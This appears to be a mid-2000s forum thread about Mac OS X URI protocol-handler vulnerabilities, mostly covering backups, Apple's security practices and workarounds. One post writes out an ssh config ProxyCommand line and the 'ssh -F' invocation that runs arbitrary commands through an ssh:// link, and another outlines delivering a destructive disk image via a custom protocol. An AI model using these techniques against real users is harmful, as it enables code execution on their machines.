The SSH exploit wasn't a particularly bad one. basically, on a ssh:// link, you could specify a filename for it to use as a log (in the Home folder) and it would overwrite that one file. But it couldn't be a directory, and you had to know the exact name of the file, so there's not a lot it could actually *do*.

Re:help with what is going on

[Anonymous Coward]

That's the telnet:// one that could overwrite one single file

the ssh:// one can execute any code an attacker wants to.

see here

Re:help with what is going on

[bw5353]

"Reinstalling an OS X system is completely trivial. Making backups of all of your data every time you make a change to any document isn't. "

Logically reinstalling the system is trivial. However, it will take time with all the applications.

Logically restoring a backup that does not exist is impossible. However, if it is there, it is a matter of a few minutes work.

Last time I lost my harddisk (last month or so) the by far most annoying bit was the system restore. That was admittedly just my personal experience, but I doubt I would be the only one, who makes frequent enough backups.

Re:help with what is going on

[rj4x]

1) make up your own protocol, say, "gumbi://"
2) before you link to this protocol, make the user download "http://your.ip.address/eraseharddrive.dmg". The user downloads this and mounts it (because most browsers automatically open .dmg files by default)

yep but in case this isn't totally redundant already, this whole boogaloo can be avoided with the Little Snitch. When the diskimage-loader tries to access the net, you WILL be prompted by the SNitch. simply deny the connection and watch as "gumbi" is reported as an unknown protocol, and the whole exploit fails.

Re:help with what is going on

[Graymalkin]

I suppose you don't do real work on your computer. For many people their home directories store thousands of man-hours worth of work. Whether its uncommited code, customer databases, important e-mail, Photoshop files, iTunes music, or a master's thesis it is all stuff you're not getting back if it goes away. Someone doesn't have to get ahold of your bank account numbers to cause you financial harm either. If they can snag an e-mail with your Paypal information they can do all sorts of nasty stuff.

That is far worse than losing your system and application software with a root level exploit. You can reinstall your system and applications, you can't necessarily reinstall your personal files.

Re:help with what is going on

[bw5353]

"For many people their home directories store thousands of man-hours worth of work."

To me we do not say different things, we just stress different aspects. With the sentence above, you surely don't literally mean that there would be many users with thousands of man-hours without one single backup. (If I found such a user I would give him a type-writer.) What you mean is that many users do not make back-ups frequently enough to avoid annoying or even catastrophic losses, and that is certainly true.

I know of at least one person who still uses only disketts for back-ups, and even though the only important files in his case are text files, there are obvious limitations with that system.

The problem boils down to the quality and frequency of back-ups. My first entry was written with people in mind with decent back-ups, but I am fully aware that there are many other users out there. Not everyone has an 40G iPod dedicated to daily or hourly backups.

Nevertheless I persist in stressing the time factor. Reinstalling a system with all applications takes much, much longer time than restoring a proper backup of your home data, if a back-up is available.

making all the mistakes again

[fermion]

This is really annoying. Apple seems to have forgotten everything that the personal computer industry has learned over the past 20 years. They seem to be starting the learning curve from day 0.

This may in an attempt to compete with MS. MS has committed some very stupid security mistakes and in the process have gotten users used to the perks that are side effects of those secutity mistakes. The most prominent perk is that the user can just hit a button and make this happen. Users do not want to have to save a file, manually unpack the file, and then install the file. They want to happen all at once. From a security point of view it is stupid, but it is waht people want. Apple should have resisted the pressure to do the same stupid thing. They did not.

OS X has just been a continuous stream of these stupid things. Putting non-security patches in security updates. Not implemeting a secure update facility. Putting in a point click control panel for non-common network services without fully educating the user on the risks of those services. I at least give them credit for turning off all services by default and including a soft firewall, althogh I discount points for them turning off the firewall automagically when the service is turned on.

Re:making all the mistakes again

[Llywelyn]

> althogh I discount points for them turning off the firewall
>automagically when the service is turned on. ...because, of course, most people who turn on printer or file sharing want to only share it with localhost.

*Yawn*

[shrapnull]

Okay, okay, you found another protocol exception in a preexisting bug. You can bet the handler's will be readdressed shortly, but in the mean time (and I'm sure I speak for most OS X users here) SO WHAT!!!!
I still haven't had any problems and the sites I browse online either aren't the kind of sites that have those links or Paranoid Android will warn me about anything suspicious. I still have yet to see any harm done by these. It seems to be talked about a lot, but nobody's exploiting it!
The bugs will be fixed in the next couple of weeks so quit crying about something that could be exploited , but hasn't.
Surely, the system is broken, but not for long.

Re:*Yawn*

[Anonymous Coward]

Okay, okay, you found another protocol exception in a preexisting bug. You can bet the handler's will be readdressed shortly, but in the mean time (and I'm sure I speak for most OS X users here) SO WHAT!!!!

The bugs will be fixed in the next couple of weeks so quit crying about something that could be exploited , but hasn't.
Surely, the system is broken, but not for long.

Sigh. This is *exactly* the same behavior as Microsoft has been showcasing the last couple of years. Fix on bug at a time, and when one more appears they fix that one too in a couple of weeks/months.

This is not about mocking Apple, on the contrary. We should all put 10 times more pressure on Apple to make them realize the have to make security their top priority, and never ever design ANYTHING without thinking hard about security.

This is how it started for MS windows, a decade ago. The important questions is: in 2015, do you want OS X to experience the problems windows is having now, or do you want to do something to prevent it? A good security architecture (like BSD under OS X) can help you create a more secure operating system, but it won't help squat if the programmers don't think hard about security.

Re:*Yawn*

[bw5353]

"It seems to be talked about a lot, but nobody's exploiting it!"

I hope you are right, but you have not convinced me.

This morning I suddenly realised that I accessed a lot of "unknown" web pages through Google. I made a search for images of "lanterns" (no, you do not want to know why), and to compare the images I quickly clicked on 10 different pages in 10 tabs, and got to 10 different servers that were new to me.

Out of the thousands and thousands of programmers who could use the exploit, I'm sure that there are at least one or two crackpots, who would actually like to. Let's assume that they put an innocent picture of a "lantern" or of "Jennifer Anniston" on a hacked page of another server together with the malicious code. I click on the "lantern"-picture, I am forwarded to the infected page, and bingo, they have access to my home folder.

Once I realised that, I logged in as a guest user in another session and started doing my random surfing from there instead. I'm going to continue with that inconvenience until Apple gives us a real patch.

Just because an accident has not happened yet does not mean that it won't happen.

Re:*Yawn*

[shrapnull]

A valid point about Windows and how Apple has a good rep for doing better from the get-go, but my point is that it's pretty much the same bug that's being addressed already...protocol handlers. Paranoid Android does well for this problem already, and if you had read the previous two posts about this exploit and took appropriate action, you are already protected.

NO! this is much more serious

[goombah99]

THIS IS NOT JUST ANOTHER PROTOCOL HANDLER SECUITY HOLE.

This expolit signifcantly more clever than the previous ones that were variation on the theme of protocol handlers that launch an app. This one has an extra layer of cleverness, exploiting a less well known feature of ssh. While this example is being triggered using a protocol handler, the actual exploit is more subtle than the previous ones that simply deposited an executable script or app on a mounted disk.

This one deposits a non-executable plain text configuration file

It works like this. ssh has a config file. You can direct ssh to use a non-default config file. Now you might be thinking "so what? config files dont contain executables." And thar you'd be wrong matey.

It turns out that the ssh config file can tell ssh to run a script and allow you to supply that script. so here is the exploit. just get ssh to use the following config file.

ProxyCommand osascript -e 'tell application "Finder" to say "Hello, you have been owned by the ssh URI exploit"' -e 'tell application "TextEdit"' -e 'activate' -e 'set text of front document to "You have been owned by the ssh URI exploit, by kang@insecure.ws - http://insecure.ws"' -e 'end tell'

and how do we do that. well execute

ssh -F bogus_config_file dummy_host_name

So this exploit is triggerable using protocol handlers that recognize ssh:// and pass the args to ssh. Anyway you can get the bogus_file on the local host is fine. One way is to use the disk: protocol handler, but that is not the only way.

Re:NO! this is much more serious

[daeley]

So this exploit is triggerable using protocol handlers that recognize ssh:// and pass the args to ssh. Anyway you can get the bogus_file on the local host is fine.

Which is why you can use the above method to disable ssh:// (or any other URI protocol) handling completely.

RCDEFAULTAP

[goombah99]

Is there a difference between RDcefaultapp, more internet, and missfox. It appears they do thte same things. the only feature I've noticed on moreinternet that is missing is the ability to redirect a protocol handlet to --but you can of course simply send it to chess or something instead.

Re:RCDEFAULTAP

[Bingo Foo]

Well, from a cursory look, RCDefaultapp is way more flexible and comprehensive than MoreInternet.

Rename your downloads folder

[goombah99]

The only reason the attack needs to use the disk: protocol helper is if he cannot guess the path to your downloads folder. The only reason the disk: attack is handy is because it creates a known path to the downloaded file.

If he can guess this then you dont need to use disk: to download a payload application or document. The attacker can just directly download it to your "downloads" folder, then execute it using any of the previously discussed protocol handler exploits.

this suggests that renaming your downloads folder to some non-guessable name would be a good idea. (e.g. dont put a foloder nmaed downloads on your dekstop, home, or documents folder! )

It also suggests a possible but perhaps bad kludge workaround on this problem till Apple fixes it. Create an OSX folder-action for your /Volumes folder. this folder action can either rename anything placed in the folder or move the item to another location. That way anying mounted will not have a known path.

Possible reason for absence of destructive exploit

[InHisService]

A destructive exploit of this vulnerability doesn't seem to have materialized yet, which is a "good thing".
I believe that the reason for this stems from the fact that one cannot remain truly anonymous while delivering the "package".
If an individual were to post a tainted link to a destructive exploit, the source of that link would act as a very large "finger" pointing back to the perp. Simply contact the web server administrator and follow the bread crumb trail. If the admin refuses to cooperate, apply sufficient persuasive pressure until he/she does.
Still, it's probably best to do your recreational surfing under a disposable user account until this hole is buttoned up.